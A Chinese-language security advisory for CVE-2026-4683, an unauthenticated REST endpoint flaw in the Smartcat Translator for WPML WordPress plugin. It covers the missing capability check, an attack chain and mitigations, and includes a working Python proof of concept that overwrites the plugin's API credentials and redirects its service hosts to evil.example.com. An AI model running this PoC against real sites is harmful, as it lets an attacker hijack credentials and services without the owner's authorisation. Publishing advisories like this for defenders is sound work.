IPBUF安全漏洞报告
English
CVE-2026-4683 CVSS 6.5 中危

CVE-2026-4683 Smartcat Translator for WPML 插件权限绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-4683
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Smartcat Translator for WPML

相关标签

权限绕过WordPressREST API插件漏洞Smartcat

漏洞概述

WordPress插件Smartcat Translator for WPML在3.1.77及以下版本中存在安全漏洞。该漏洞源于`routeData` REST端点未实施充分的能力检查,导致未授权的数据修改。未经身份验证的攻击者可利用此漏洞覆盖插件的Smartcat API凭证(包括账户ID、API密钥等),进而劫持翻译服务或引发拒绝服务。

技术细节

该漏洞位于Smartcat Translator for WPML插件的REST API路由实现中。具体而言,`routeData`端点在处理请求时,未对当前用户的权限进行验证。在WordPress中,REST API端点通常需要检查`current_user_can`等函数以确保只有授权用户才能更改设置。由于此检查缺失,任何能够访问网站网络的匿名攻击者均可向该端点发送请求。攻击者通过构造特定的HTTP POST请求,携带恶意的API凭证参数,即可覆盖服务器上存储的合法Smartcat配置信息。这不仅破坏了数据的完整性(I:L),还可能导致翻译功能失效(A:L),严重时攻击者可插入自己的账户ID以窃取翻译内容。

攻击链分析

STEP 1
侦察
攻击者扫描目标网站,识别其是否安装了Smartcat Translator for WPML插件,并确认版本是否在3.1.77及以下。
STEP 2
构建请求
攻击者构造一个针对`/wp-json/smartcat-wpml/v1/routeData`端点的HTTP POST请求,请求体中包含恶意的API凭证JSON数据。
STEP 3
发送利用请求
攻击者向目标服务器发送该请求。由于端点缺少权限检查,服务器接受并处理该请求。
STEP 4
覆盖配置
插件数据库中的配置被更新为攻击者提供的恶意凭证,导致原有翻译服务中断或被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url): """ PoC for CVE-2026-4683: Unauthenticated credential overwrite via REST API. """ # The vulnerable endpoint path (may vary based on plugin registration) endpoint = f"{target_url}/wp-json/smartcat-wpml/v1/routeData" # Malicious payload to overwrite existing credentials malicious_data = { "account_id": "hacked_account_id", "api_secret": "hacked_api_secret", "hub_key": "hacked_hub_key", "api_host": "evil.example.com", "hub_host": "evil.example.com" } try: # Send POST request without authentication headers response = requests.post(endpoint, json=malicious_data, timeout=10) if response.status_code == 200: print("[+] Potential success: Server responded with 200 OK.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <http://target-site>") else: exploit_poc(sys.argv[1])

影响范围

Smartcat Translator for WPML <= 3.1.77

防御指南

临时缓解措施
建议立即检查插件配置中的Smartcat API凭证是否被异常修改。由于该漏洞无需认证即可利用,应尽快将插件升级至修复版本。若暂时无法升级,可通过服务器配置(如Apache/Nginx规则)拦截对`/routeData`路径的外部POST请求,或者临时禁用该插件直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表